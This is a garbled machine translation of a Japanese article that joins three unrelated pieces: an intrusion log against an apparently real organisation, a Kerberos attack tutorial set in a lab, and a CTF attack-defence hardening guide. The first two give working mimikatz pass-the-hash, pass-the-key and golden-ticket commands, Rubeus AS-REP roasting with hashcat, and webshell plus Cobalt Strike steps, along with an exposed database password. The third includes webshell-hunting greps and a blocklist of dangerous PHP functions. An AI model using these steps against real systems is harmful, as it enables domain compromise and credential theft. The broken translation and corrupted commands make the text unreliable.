システム許可を実行した後、CSを殺さずにリモートダウンロードを使用してオンラインになることを計画しましたが、正常に起動しませんでした。 360エンタープライズクラウドがあることがわかりました。これにより、EXEの実行の切片がトリガーされました。

1049983-20230421162849831-1377837346.jpg

あなたの思考を変えてください。 GodzillaのWebShellをダウンロードした後、GodzillaのShellCodeloader関数を使用して、独自のCS Trojanシェルコードをロードしてオンラインになります。

1049983-20230421162850477-227933550.jpg

データベース構成情報を復号化する

exeファイルが実行されると、アクセスが拒否され、ファイルが実行できないためです。ローカル構成ファイルを検索することにより、データベースアカウントのパスワードが見つかりましたが、データベースパスワードは暗号化されました。

1049983-20230421162851223-804733282.jpg

履歴Webサイトのバックアップファイルを検索することにより、システムの初期構成ファイルはデータベースパスワード暗号化用に構成されておらず、テストではデータベースに接続できることがわかりました。

1049983-20230421162852001-751908926.jpgこのシステムのデータベースバックアップファイルを調べると、サーバーによって展開された別のビジネスシステムを誤って発見し、データベース構成ファイルのアカウント番号、パスワード、およびデータベースIPも暗号化されたストレージです。

1049983-20230421162852792-1421720165.jpg

システムの特性を見つけることにより、サイトサーバーCMSシステムとして発見されます。オンライン検索から、このCMSの専用暗号化と復号化ツールであるSiteserver CLIが見つかりました。

1049983-20230421162853567-1190126543.jpgを実行した後、データベースPlantext構成情報を取得することもできます

server=x.x.x.x; uid=sa; pwd=xxcsthink!@#123; database=newdfgxxcsプロキシを接続し、テスト接続が成功します

1049983-20230421162854235-54742713.jpg

ただし、データベースサーバーはEXEプログラムを実行できず、Mimikatzを実行して管理者ハッシュを読み取ることができず、ユーザーを作成できず、TSCANをイントラネットスキャンにアップロードできなかったため、ここに滞在するのは恥ずかしくなりました。最後に、CSSプラグインの情報検出を使用して、イントラネットセグメント資産を検出します。

1049983-20230421162854970-187933157.jpg

17010プラグイン攻撃を使用しても失敗しました

1049983-20230421162855722-1067996590.jpg

プロキシチャインを使用してMSFと協力して、PC許可を取得するImage

1049983-20230421162857116-372680895.jpg Mimikazを使用して管理者のパスワードを読み取り、リモートデスクトップを有効にし、ログインすることが不可能であることがわかります。

1049983-20230421162857804-1002896266.jpg

MSFロードMimikazモジュール

特権:Debug

TS:MultirdP

イントラネット権限を取得

新しいユーザーを作成して、個人のPCコンピューターを入力する

1049983-20230421162858564-402275774.jpg

ベースとしてこのPCを介して、TidefingerとTSCANをアップロードしてイントラネットスキャンを実行します。ここでこれら2つのツールを紹介する必要があります。

GO言語バージョンのTidefinger指紋認識機能:1。Dismap、VSCAN、KSCAN、FOFA、Serverscan、およびその他の指紋2を追加しました。 3.ディスプレイ効果は解体から借用されており、現在、効率と指紋のカバレッジの点で高くなるはずです。

1049983-20230421162859263-1813055310.jpg

GO言語バージョンのTSCAN関数:1。TSCANは、TIDEセキュリティチームが共同で維持する内部および外部ネットワークアセットスキャンツールです。 2。基本コードはFSCAN 3の更新に反復します。ChaoshengPoc脆弱性検出プラットフォームにリンクして、チームメンバーは毎月公開された最近のPOCを書き込み、公開されたPOCをインターネット上で定期的に収集および整理し、最終的に更新してリリースします。

1049983-20230421162859956-1543115676.jpg

イントラネットネットワークセグメントをスキャンした後、次のステップは脆弱性検証プロセスです。私はそれをちらっと見て、直接ぶつかることができる穴を見つけませんでした。ただし、指紋は、イントラネットIPの1つがポート2222でRMIとして開かれたことを検出しました。

1049983-20230421162900571-2117737162.jpg Image

サーバーは許可を取得していますが、このサーバーで情報を収集する際に、他の関連するアカウントのパスワード情報は見つかりませんでした。

samファイルユーザーハッシュを取得

MimikazでSekurlsa:3:LogonPassWordsコマンドを使用して、プロセスLSAの情報を読み取って、現在ログに記録されているユーザーのパスワード情報を取得します。出力の結果は、管理者などのユーザー情報がないことを示しています(主に、CSを使用する許可を使用する場合、ソフトキリング戦略がトリガーされ、サーバーが再起動されると推定されているため)。次に、クエリユーザーを使用して、管理者ユーザーがオンラインではないことがわかりました。そのため、メモリを介して管理者のハッシュを直接読み取ることはできません。 Mimikazを使用して、SAMファイルでハッシュを読み取ります。

#ELEVATE権限

特権:Debug

#ELEVATE SYSTEM

token:3360Elevate

#crawl sam

lsadump3:SAM 1049983-20230421162901858-1741339910.jpg

ハッシュ配信

NTLMハッシュを取得した後、オンラインWebサイトからプレーンテキストパスワードを直接解読できないことがわかりました。取得したNTLMハッシュは、ハッシュを通過して4つのサーバーの権限を取得します。

1049983-20230421162902595-861301691.jpg

次に、ハッシュを使用してサーバーにログインし、情報を収集し続けます。ネスティング人形のリモートデスクトップはサーバーの1つで見つかり、03システム用でした

1049983-20230421162903307-2132010902.jpg

サーバーパスワードを取得するためのルール

Mimikazを介してこのパスワードを読む(KB2871997の前、MimikatzはPleantextパスワードを直接つかむことができます)

*username3360administrator

*domain:win-laolovgmf

*password:

Kerberos認定プロセス

序文

この記事では、主にドメインでのKerberos認定に関する最近学んだ攻撃方法の一部を共有しています。それは主に自己理解に焦点を当てており、原則の理解から基本的なツール利用に至るまで、それを説明します。個人的な理解と分析は比較的長続きします。長すぎると思われる場合は、ジャンプして見ることができます。私を許してください。エラーがある場合は、修正を行うようにマスターに依頼してください

Kerberos認証プロセスは単純な説明であり、PAC、S4U2Self(委任)、S4U2Proxy(委任)など、説明されていない多くの詳細があります。

この記事の主な環境はvulnStack、Hongri射撃場です

ドメインコントロールOWA WIN2008R2 192.168.52.138ドメインホストSUT1 WIN7 192.168.52.130ドメイン外ホストK0UAZ Win7(ドメインコントロールにアクセス可能)192.168.52.162 KDCと呼ばれるキーディストリビューションセンターは、ASおよびTGSAuthentication Service Authentication Servicesを含むデフォルトでドメインコントロールにインストールされます。ASと呼ばれる、KDC認証チケット付与サービスチケット助成サービスに使用されます。TGSと呼ばれます。クライアントクライアントはユーザーを参照します。サーバー側は、コンピューターアカウントまたはサービスです。

プロセスと原則

gygfx4fdax42797.png

上記の図には、クライアントとKDCの時点で、クライアントとKDCのTG、クライアントとサーバーの3つのリクエスト返品プロセスが含まれます。詳細なリクエスト応答は次のとおりです

AS-REQ:クライアントはKDC(AS)への認証要求を開始します。要求された資格情報は、クライアントのNTLMハッシュによって暗号化されたタイムスタンプと、その他のID情報です。 AS-REP:AS ASは、復号化にクライアントNTLMハッシュを使用します。検証が正しい場合は、KRBTGTハッシュで暗号化されたTGTチケットを返します(これはTGS-REQのTGSに送信され、STと交換に使用されます)。 TGTにはPACTGS-REQが含まれています:クライアントはTGTキャッシュをローカルで取得し(復号化できません)、STチケットをTGSと交換するために、対応するサービスTGS-REPにアクセスできます。結果が正しい場合は、サービスを提供するサーバーのサーバーハッシュ(マシンユーザーハッシュ)によって暗号化されたST(サーバー)を返します。チケット)AP_REQ:クライアントは、取得したSTをサーバーに持ち込み、リソースAP_REPを要求します:サーバーは独自のハッシュを使用してSTを復号化します。復号化が正しい場合は、取得したPACを使用してKDCにアクセスして、クライアントがアクセス許可を持っているかどうかを判断します。 PACを復号化した後、KDCはユーザーSIDとグループの情報を取得し、Access Control Table(ACL)に基づいて裁判官の許可が取得されます。それが満たされている場合、サーバーはリソースをクライアント

Kerberos関連のセキュリティ問題

图片来自dariker师傅的文章に返します

キー(ハッシュ)

を渡します

ハッシュ

を渡します

パスハッシュは、NTLM認証とKerberos認証にも適しています。ドメインの外側だけでなく、ドメイン内でも使用できます。 Kerberos Authenticationでは、AS-Reqがクライアントハッシュ暗号化関連情報を介して送信されます。したがって、クライアントのNTLMハッシュを取得すると、ハッシュを通過すると他のホストへのアクセス許可を水平に取得できます。

使用

ここでは、ドメインパイプNTLMハッシュiiksmn4de3w2799.pngが取得され、特定のドメインマシンにログインされると仮定します。

PTHの次のツール

Mimikatzを使用して、資格情報をLSASSに注入するために必要であるため、Sedebugを有効にするにはローカル管理者の権利(bypassuac)が必要です。インジェクション後、このユーザー資格情報を使用して、WMICEXEC(PYまたはEXEの両方)からPTHを使用してドメイン内のホストにアクセスできます。管理者の権利は必要ありません。 CMEを使用してPTHなどをバッチバッチするコマンドの直接リモート実行に適しています。ここでは、Mimikatzは例として使用されます。ハックユーザー(STU1のローカル管理者グループのメンバー、ドメインユーザー)

ドメインコントロール共有ディレクトリにアクセスする許可なし0sj1kl3juhx2800.png

資格情報を注入した後のMimikatz Mimikatz 'Privilege:3:Debug' 'sekurlsa:pth /user:a /domain:god.org /rc43:b44444189f93621A rtnn12kkt4u2801.png

キーを渡します

ミミカッツ情報のヒント

NTLMハッシュは、XP/2003/VISTA/2008および2008R2/8/2012 KB2871997(AESが利用できないか交換可能)で必須です。 AESキーは、8.1/2012R2または7/2008R2/8/2012でKB2871997でのみ置き換えることができます。この場合、NTLMハッシュを避けることができます。

キーはドメインでのみ使用できます。 AES暗号化をサポートするバージョンには、KB2871997パッチがインストールされたWin8.1/2012R2またはWin7/2008r2/8/2012が含まれます

使用

AESキーodj1o4mogdw2802.pngを取得します

次に、sekurlsa:3360pthモジュールmimikatz 'privilege:3360debug' 'sekurlsa:pth /user:administrator /domain:god.orgを使用します/AES256:BF723755BC5F72A377BDA41CA58FD925DF7EE45DF9A026AC5CD3201020202E33 '1y3ezs2lbxv2803.png

Win7ホストにパッチが適用されないため、パスは自然に失敗します。実用的な環境では、PTHがRC4暗号化をサポートしていない場合、保護されたユーザーグループにある可能性があります。この時点で、AES128およびAES256暗号化をPTKに試すことができます

リモートデスクトップ(制限付き管理モード)でハッシュを渡します

2014年、MicrosoftはKB2871997パッチをリリースしました。これは、主にWindows 8.1およびWindows Server 2012 R2の強化されたセキュリティ保護メカニズムをカバーしています。したがって、Windows 7、Windows 8、Windows Server 2008R2、Windows Server 2012などの過去には、このパッチを更新して、上記のセキュリティ保護メカニズムを取得することもできます。

——3——3————335433333333333————————3354 ——3——3————335433333333333————————3354

制限付き管理者RDPモードリモートデスクトップクライアントサポート:

この更新の前に、RDPログインは、ユーザーがユーザー名とパスワードを提供した後にのみアクセス可能なインタラクティブログインでした。この方法でRDPホストにログインすると、ユーザーの資格情報がRDPホストのメモリに配置され、ホストが脅かされている場合、盗まれる可能性があります。このアップデートにより、RDPはネットワークログインをサポートできます。ここでは、ユーザーの既存のログイントークンの認証をRDPアクセスのために渡すことができます。このログインタイプを使用して、ユーザーの資格情報がRDPサーバーに保存されていないことを確認します。したがって、資格情報を保護します

上記の説明を通して、このモードはRDPを使用してログインしたユーザーの資格情報を保護することであることを理解できます。ネットワーク検証のログイン方法により、RDPサーバーはユーザーの資格情報を保存しません。

使用

Win8.1およびWin2012R2以上の制限された管理モードモードをサポートすると、Win8.1およびWin2012R2がデフォルトで有効になっています。

条件:クライアントは制限付き管理モードモードをサポートし、サーバーは制限付き管理モードモードを有効にします

Win2012R2が手元にないため、ここでは2つのWindows10がリモートデスクトップでハッシュを渡すために使用されます

最初にNTLMハッシュxcnb52eps132804.pngを取得します

Mimikatzを使用してNTLM Hash(Privilege:3:Debugを最初に挿入してデバッグ許可を有効にします。Sekurlsa3:3:pth /usekurlsa3:3:pth /user:administrator /domain:192.168.226.137 /NTLM:9C3767903480E04C089090D27123EAF9 '/RUN:MSTSC.EXE /RECTINTEDADMIN'

/ドメインコンピューター名またはIPを指定します

ここebf2sj3w4ik2805.pngでは、常に資格情報を必要とすることを選択しないでください

制限付き管理モードd4fjkluzezp2806.png

レジストリを介して開きます(0がオン、1はオフ、完全な管理者の特権が必要です)、そしてRDP接続が再度実行されます 'hklm \ system \ currentControlset \ control \ lsa' /v無効化

リモートホストで制限付き管理モードが有効になった後、RDP接続はh0zqvqmj3pv2807.pngに成功しました

ハッシュがメモリyddty01oujy2808.pngに注入されているのを見ることができます

次に、管理者アカウントK0UAZを使用したため、リモートデスクトップを使用してハッシュをパスするには、ターゲットのローカル管理者許可のみが必要です。

ただし、リモートデスクトップユーザーに参加するだけで、Administratrosグループに参加していない場合、このメカニズムは制限された管理者向けであるため、成功しません。

as-repロースト

原理

AS_REPで、KDCはユーザーNTLMハッシュによって暗号化されたセッションキーを返します(セッションキーは、クライアントとTGS間の通信のセキュリティを確保するために使用されます)mwinmgcbmap2809.png

RC4_HMAC暗号化モードでは、同じ暗号化プロセスを使用してプレーンテキストパスワードを暗号化し、暗号化の結果を比較して、ciphertextが同じかどうかを評価してブラスト結果を決定できます。

上記の図に返されたユーザーによって暗号化されたユーザーNTLMハッシュのセッションキー暗号文は、AES256を介して暗号化されていますが、ここで暗号化ダウングレード方法を使用することもできます(以下のKerberoastは、AES暗号化とRC4_HMACタイプのデータを返すためにAES暗号化とRC4_HMACタイプのデータを返します。 as_repでciphertextの暗号化方法がRC4_HMACであるように、プレーンテキストパスワードをクラックできるようにします。

ただし、ここで解決する必要がある問題の1つは、認証前の問題です。 AS_REQでは、クライアントハッシュ暗号化を備えたタイムスタンプが生成され、KDCに送信されます。 KDCは、暗号文を復号化することによりタイムスタンプを取得します。復号化が成功し、タイムスタンプが5分以内にある場合、事前認証は成功します。 KDCは、この方法を使用して、ブルートフォースの亀裂を効果的に防ぐために、クライアントのアイデンティティを検証します。yfppzmderba2810.png ln2ql0vs0j52811.png

AS_REQがデフォルトで2回送信される理由については、Harmj0yの記事から得られた説明は、クライアントが事前にサポートされている暗号化方法を知らないということです(クライアントは、事前認証のタイムスタンプの暗号化方法を知らないことに固有のものだと思います)。

したがって、事前認証をオフにすることで、徹底的な爆破を実行して、プレーンパスワードama041lyasw2812.pngをクラックすることができます

事前認証を終了した後、2番目のAS_REQはありません。唯一のAS_REQには、NTLMハッシュ暗号化タイムスタンプCiphertext 3g0jkdf3fvqe2813.pngが含まれません。

使用

LDAPを介してKerberos Prauthentication属性を必要としないドメインユーザーをクエリすることができます

特定のクエリ条件は、useraccountcontrol:1.2.840.113556.1.4.803:=4194304です

ここでルベウスはサンプルrubeus.exe asreproast /nowrap /format:hashcat 0veljxzcn4q2814.pngとして使用されます

Hashcat Decrypt Hashcat -M 18200 Hash.txt Passwords.Dict - Force xxpjw40onln2815.png

Rubeus AsReproast原理分析

トラフィックのワイアシャーク分析を通じて、このモジュールの原則は、LADPを介して属性機能のドメインユーザーを照会し、バッチでAS_REQリクエストパケットを送信し、ハッシュカットブラストに適したフォーマットと出力のためのリターンパケットのNTLMハッシュ暗号化部分を抽出することであることがわかります。

LDAPクエリu2mkwuxtfkv2816.png

サポートされている暗号化タイプはRC4_HMAC kx5wzk5vsce2817.pngのみであることを指定します

返された暗号文は、RC4_HMACを使用して暗号化されています(したがって、徹底的に爆破できます)phikgg5wmbe2818.png

ゴールドノート

機能

DCと通信する必要があります(ASと対話する必要はありませんが、TGSする必要はありませんが、TGSする必要はありません)。暗号化してTGTを生成します。 KRBTGTのNTLM-HASH値を取得した場合、TGTを偽造できますか? KRBTGTはドメインコントローラーでのみ利用可能であるため、ゴールドの資格情報を使用すると、以前にドメインコントローラーでアクセス許可を取得したことがあり、金の資格情報はバックドアとして理解できます。

原理

1。ドメイン名

2。ドメインのSID値

3.ドメインのKRBTGTアカウントパスワードハッシュ

4.偽装されたユーザー名は任意の場合があります(TGTのサービス寿命は20分以内であり、ドメインコントローラーKDCサービスはTGTのユーザーアカウントを確認しません)

Krbtgtのハッシュを取得したら、それを使用してゴールドノートを作成できます

DCSYNCの攻撃方法(以下で説明および練習)を通じてKRBTGTのハッシュを取得したとします1rgq30d0wjq2819.png

条件1:SPNをスキャンしてドメイン名God.org sa4wehbvzxg2820.pngを取得する

条件2:whoami /すべてドメインユーザーSIDを取得し、ドメインSID 3ansv2xpwdt2821.pngの最後の文字列を削除します

条件3:KRBTGTアカウントHASH58E91A5AC358D86513AB24312314061

条件4:Forgeユーザー名管理者

条件

MIMIKATZ KERBEROS:3:GOLDEN FORGED TGTを使用します

ゴールデンチケットデフォルトグループ:

ドメインユーザーSID:S-1-5-21ドメイン-513

ドメイン管理SID:S-1-5-21ドメイン-512

アーキテクチャ管理者SID:S-1-5-21ドメイン-518

エンタープライズ管理者SID:S-1-5-21ドメイン-519(フォレッドルートドメインに鍛造チケットが作成された場合にのみ有効ですが、ADフォレスト管理者の許可に使用/SIDSパラメーターを追加)

グループポリシー作成者の所有者SID:S-1-5-21ドメイン-520

mimikatz.exe 'kerberos:3360golden /domain:god.org /sid3:s-1-5-21-2952760202-1353902439-2381784089 /usersistrator /KRBTGT:58E91A5AC358D86513AB24312314061 /TICKET:K0U.KIRIBI '出口

TIP:は、請求書の有効期間と更新請求書の最大妥当性期間を変更するために、追加/endin:xx /rengingmax:xxを追加できます。 Mimikatzはデフォルトで10年wea4byfkb312822.pngです

生成されたチケットは、他のドメインマシンにインポートできます。または、TGTを /PTTを使用してメモリに直接注入できます。

最初にチケットキャッシュKlist Purge 02u3lygbzh52823.pngをクリアします

次に、mimikatzkerberos:ptt k0u.kiribi nwfnto00x3k2824.png経由でキャッシュされた請求書に注入します

KLISTはチケットキャッシュをチェックし、偽造されたTGTを見ることができます

0#awd

とは何か

0.1#AWD競争システムの紹介

「時折の防御モード| AWD(防衛での攻撃)」は、CTFコンペティションのいくつかの主要なゲームモードの1つです。

このモードでは、各チームには、通常、セキュリティの脆弱性を含む特定のサービスまたはアプリケーションを実行するのと同じ初期環境(GameBoxと呼ばれます)を持っています。参加チームは、ポイントを取得するためにフラグを取得するために、相手のチームのサービスのセキュリティの脆弱性を活用する必要があります。同時に、参加チームは、他のチームによって攻撃されて獲得されるのを防ぐために、彼らに対して防御するために独自のサービスの脆弱性にパッチを当てる必要があります。

主な特徴は、実用性、現実のタイミング、対立を強調し、競争チームの浸透と保護能力を包括的に考慮することです。

0.2#競合の全体的なプロセス

試合前の準備セッション:通常、SSHまたはVNCユーザー名とパスワードに割り当てられた複数のターゲットサーバー、および関連するIPおよびその他の情報を割り当てます

セキュリティ補強リンク:ターゲットマシンサーバーに自分でログインし、30分間のセキュリティ強化を実行する必要があります(ソースコードのバックアップ/弱いパスワードの変更/コード監査と修理/脆弱性の修理など)

無料攻撃リンク:セキュリティ強化時間が経過した後、無料攻撃リンクが開始されます。他のチームのターゲットサーバー(弱いパスワード/Web脆弱性/システムの脆弱性など)を攻撃して追加ポイントを獲得し、対応するチームはポイントを失います。

1#競争環境

通常、競争環境には3つの状況があります。

ハイブリッドターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows 7+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なLinuxターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なWindowsターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows7

2#セキュリティ補強プロセス(防衛)

2.0#基本補強プロセス

2.0.1 Windows補強プロセス

バックアップファースト:Webソースコード、データベース

445強化、ファイアウォールまたはIP高度なセキュリティポリシーを有効にします

システムログ監査機能をオンにします

ゲストアカウントを無効にし、ファイル共有を閉じます

スタートアップアイテムのコンテンツが制御可能であることを確認してください

リモートアクセスコントロールへの接続の数を制限する:ローカルグループポリシーエディターでは、コンピューター構成- 管理テンプレートウィンドウコンポーネントリモットデスクトップサービスリモートデスクトップセッションホストコネクションリミット接続の数を拡大します

ツールを使用して、キーディレクトリファイル:ファイル操作監視、exe、yujian file monitoring.exeを監視します。

PchunterとMonitorを介して検索された悪意のあるコードファイル

Webディレクトリ環境で関連する疑わしいファイルの検索:JPG/PNG/RAR、属性の表示、解凍、ファイルの内容の表示

NTFSはディスクをスキャンして、隠された交換フローデータを見つけます

システム内のすべてのアカウント情報を見つけ、非管理者アカウントを禁止します。

Webサイト管理者のアクセスパス、デフォルトのパスワード、およびデータベースパスワードを変更する

WAFスクリプトをインストールしてWebサイトを保護し、他の脆弱性を禁止します

2.0.2 Linux補強プロセス

バックアップ最初:Webソースコード、データベース

システムパスワード、統一されたチームパスワードを変更します

.bash_historyを介して履歴コマンドを検索し、痕跡を見つけます

スケジュールされたタスクを表示:Crontab -L;スケジュールされたタスクの編集:Crontab -E

/etc/init.d/rc.localのスタートアップサービスに例外があるかどうかを確認してください

スクリプトを使用して、プロセスの監視、ディレクトリ監視、トラフィック監視を可能にします

Webサイトのパスワード、サイト管理者パスの変更

システム強化:IPTABLE

2.1#基本情報コレクション

防御する場合、情報収集も非常に重要です。 sayingにあるように、「あなた自身とあなたの敵を知ってください、あなたは100の戦いで決して敗北することはありません。」

2.1.1 Linuxマシン情報を明確にする

UNAME -A //システム情報

ps -aux //クエリプロセス情報

ps -ef | GREPプロセス名//指定されたプロセスをフィルタリングします

ID //ユーザーIDとグループIDを表示するために使用されます

cat /etc /passwd //ユーザーの状況を表示します

LS/HOME///ユーザーの状況を確認してください

/-type d -perm -002 //書き込み可能なディレクトリチェックを見つけます

ifconfig //Linuxでネットワークカード情報を表示します

2.1.2 Windowsマシン情報を明確にする

hoami /all //Windowsでユーザーの詳細を表示します

ipconfig /all //Windowsでネットワークカード情報を表示します

2.1.3オープンポートを表示

Netstat //アクティブ接続を表示します

netstat -ano/-a //ポートステータスを確認します

netstat -Anp //ポートを表示します

Firewall-CMD -Zone=public - remove-port=80/tcp –permanent //ポートを閉じます

ファイアウォール-CMD –RELOAD //ファイアウォールを再起動します

2.1.4デフォルトのパスワード(弱いパスワード)変更

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトパスワード123456

他のデフォルトのパスワード管理者、TOP100、TOP1000などがあります。

特に、WebアプリケーションPassWDユーザー名のバックグラウンドパスワードの変更//SSHパスワードの変更

mycms@localhost=password( '18ciweufhi28746')のパスワードを設定します。 //mysqlパスワードの変更

find/var/www/html -path '*config*' //構成ファイルでパスワード資格情報を見つける

2.1.5ローカルフラグを見つけます

GREP -R 'Flag'/var/www/html ///Linux:Webディレクトリでフラグを見つける

findstr /s /i 'flag' *

2.1.6 Ping無効の設定

echo '1'/proc/sys/net/ipv4/icmp_echo_ignore_all //一時的にping禁止を有効にします

echo '0'/proc/sys/net/ipv4/icmp_echo_ignore_all //ping禁止を閉じます

2.2#Webセキュリティ強化

2.2.1バックアップソースコード

ソースコードを変更する際の問題を防ぐ、または攻撃された当事者がソースコードを削除して準備する

圧縮ソースコード:

TAR -CVF Web.tar/var/www/html

zip -q -r web.zip/var/www/html

ソースコードを解凍します:

tar -xvf web.tar -c/var/www/html

unzip web.zip -d/var/www/html

バックアップソースコード:

MV web.tar /tmp

MV web.zip /home /xxx

ソースコードをアップロードしてダウンロードします:

scp username@servername:/path/filename/tmp/local_destination //サーバーからローカルに単一のファイルをダウンロード

scp/path/local_filename username@servername:/path //ローカルからサーバーへの単一のファイルから

scp -r username@servername:remote_dir//tmp/local_dir //ディレクトリ全体をサーバーからローカルにダウンロードする

scp -r /tmp /local_dir username@servername3360remote_dir //ディレクトリ全体をローカルからサーバーにアップロードします

2.2.2読み取り専用権限を設定

Webファイルの読み取り専用および実行権限を設定します(PHPなどの動的言語には実行権限が必要です)

chmod 0555/var/www/html/*

Chmod 0555 /var/www/html/*.php

Webルートディレクトリで読み取り専用および実行権限を設定します

Chmod 0555/var/www/html

ファイルの所有者とグループを変更して、厳密なアクセス許可を設定します

chown -r root:root/var/www/html///所有者をroot:rootまたはhttpd:httpd(推奨)として設定します

chown -r apache:apache/var/www/html///apacheが/var/www/htmlを持っていることを確認してください

2.2.3構成.htaccess

PHPファイルの実行を禁止するために.htaccess構成ファイルを使用します

ディレクトリ '/var/www/html/upload' //指定されたディレクトリの後続の指示がディレクトリに適用されます

Options -EXECCGI -INDEXES //CGI実行およびディレクトリインデックス(ディスプレイディレクトリコンテンツリスト)ディレクトリの関数は無効です。

AllowOverrideなし//.htaccessファイルを使用してこのディレクトリのサーバーの構成を上書きすることができません。

removehandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

//これらの2つの命令指定されたファイル拡張子のプロセッサとタイプを削除します。

//この場合、これらのディレクティブは、Apacheの処理リストからPHP関連の拡張機能とサーバー側インクルージョン(SSI)ファイルタイプを削除します。

PHP_FLAGエンジンオフ//このディレクティブは、PHPエンジンフラグ(エンジン)をオフに設定するため、このディレクトリでPHPスクリプトを実行する機能を無効にします。

filesmatch '。+\。ph(p [3457]?| t | tml)$'

すべてから否定します

/filesmatch //これらの3行のコマンドは、正規表現を使用して、php、phpp、php3、pht、php4、php5、php7、shtmlで終了するファイルを一致させ、アクセス許可を設定してすべてを拒否します

/ディレクトリ

2.2.4 PHPパラメーターセキュリティ構成

最初にPHP構成ファイルを見つけます

/etc/php/{version }/php.ini

高リスク関数を無効にします

disable_functions=dl、exec、system、passthru、popen、proc_open、pcntl_exec、shell_exec、mail、imap_open、imap_mail、putenv、ini_set、apache_setenv、symlink、link

Open_basedirを構成します(指定された領域にユーザーアクセスファイルのアクティビティ範囲を制限します)

open_basedir=/var/www/html

魔法の引用を無効にする(SQL注入を防ぐために外部ソースデータを自動的に逃がす)

MAGIC_QUOTES_GPC=OFF

PHP擬似プロトコルを閉じます

Allow_url_fopen=off

Allow_url_include=off

PHPを再起動します

sudoサービスphp7.0-fpm再起動

sudo systemctl再起動php7.0-fpm.service

2.3#データベースセキュリティ補強

2.3.1 mysql補強

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトのパスワード123456

デフォルトのパスワードを使用しないで、それを複雑に変更し、Web環境との接続を確認しないでください

設定ローカル127.0.0.1アカウントログインのみを許可します:bind-address=127.0.0.1を変更します。 secure_file_priv=nullを構成ファイルに追加します

ログ監査機能をオンにします:general_log_file=path

MySQLデータベースが最も一般的に使用されているため、基本的な攻撃と防御のほとんどはMySQLデータベースコマンドの使用に使用されます

指定されたデータベースをバックアップします:

mysqldump –u username –pパスワードdatabasename target.sql

すべてのデータベースをバックアップします:

mysqldump –All -database all.sql

データベースをインポートします。

mysql –u username –pパスワードデータベースfrom.sql

mysqlの攻撃と防御については、この記事を読むことができます:https://blog.zgsec.cn/archives/26.html

mysqlデフォルト構成ファイルパス:

c: \\プログラムファイル\ mysql \ mysqlserver 5.1 \ my.ini //windows

/etc/my.cnf //linux

/etc/mysql/my.cnf //linux

secure_file_privパラメーター(ログ関数の対応するディレクトリ)を変更する

secure_file_priv=''

MySQL構成を過負荷

フラッシュ特権

MySQLサービスを再起動します

sudoサービスmysql再起動

sudo systemctlはmysqlを再起動します

2.3.2 mssql補強

不要なアカウントを削除します

SQLServerユーザーパスワードセキュリティ

ユーザーによると、アカウント共有は避けてください

データベースユーザーに必要な最小許可を割り当てます

ネットワークアクセス制限

SQLServerログイン監査

SQLServerセキュリティインシデント監査

ロギング関数を構成します

2.4#リモートコントロール補強

2.4.1 SSH安全補強

IPログインを制限する方法

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers username@192.168.0.100 //次の行を見つけて編集して、希望のIPアドレスに設定されていることを確認します

ルートリモートログインを無効にします

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

permitrootlogin no //permitrootlogiを「いいえ」に設定します

ユーザーとグループごとにSSHログインを制限します

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers testuser //SET TestuserはSSHにログインできるようにします

Allowusers testuser@192.168.1.100 //セットでは、192.168.1.100マシンのみがTestuserアカウントでSSHにログインできます

Groups Testを許可//ユーザーグループホワイトリストを設定します

//AllowusersとAllowgroupが同時に指定されている場合、両方のオプションと一致するユーザーがSSHログインでなければならないことに注意する必要があります。

SSHサービスを再起動します

Sudo Service sshd Restart

Sudo SystemCtl Restart Sshd.Service

2.4.2 RDPリモートログインセキュリティ補強材

デフォルトのアカウントを削除し、新しいユーザーを手動で追加します。

ステップ1:Win + Rを押して[実行]ダイアログボックスを開き、secpol.mscを入力して[OK]をクリックします

ステップ2:これに移動します:ローカルポリシーユーザー許可割り当ての割り当て、次にダブルクリックして「リモートデスクトップサービスを介してログインを許可」を開きます

ステップ3:このウィンドウにリストされている管理者とリモートデスクトップユーザー(またはコンピューター上の他のユーザーまたはグループ)を削除する

ステップ4:その後、「ユーザーまたはグループの追加」をクリックし、リモートデスクトップアクセスを許可するユーザーを手動で追加します。

デフォルトのRDPポート番号を変更します:

ステップ1:[実行]ダイアログボックスを開き、Regeditを入力して[OK]をクリックします

ステップ2:hkey_local_machine \ system \ currentControlset \ control \ターミナルサーバー\ winstations \ rdp-tcpを開き、下にスクロールしてportnumberを見つけてダブルクリックします

ステップ3:「小数」を選択し、設定するポート番号を変更し、[OK]をクリックします。

2.5#緊急対応

2.5.1クエリプロセススレッド

Netstat

ps -aux

netstat -apt

2.5.2プロセスを殺します

Kill -9 PID //Linuxで

Windows上のtaskkill /f /pid pid //

2.5.3 WebShellファイルを検索

Find/var/www/html -name *.php -mmin -5 //過去5分間に変更されたファイルを表示

./-name '*.php' |を見つけますxargs wc -l | sort -u //最短の行のファイルを見つけます。これは一般的にトロイの木馬です

grep -r -include=*。php '[^a -z] eval($ _ post'/var/www/html //キーワードを含むphpファイルを確認する

find/var/www/html -type f -name '*.php' | xargs grep 'eval(' | more //Linuxシステムでは、Find、Grep、Xargsコマンドの組み合わせを使用して、指定されたディレクトリ(/var/www/html)で.php拡張機能を持つすべてのファイルを見つけ、文字列'' eval( '' inこれらのファイルで 'evalを検索し、結果をパージに表示したときの結果をpagineしているときにパージーのパージをpagingで実行します。

2.5.4馬を殺すためにチェック

コマンドを使用して自動的に検索して削除することもできます

ps -aux | grep www-data | grep -v grep | awk '{print $ 2}' | Xargs Kill -9

次に、サービスを再起動します

サービスPHP-FPM再起動

2.5.5リバウンドシェルを殺します

プロセスを表示する古いルール

PS -EF

Px -aux

ps -aux | grep www-data

www-data pormissions /bin /shはNCである可能性が高いことに注意してください

それから古い注文があります

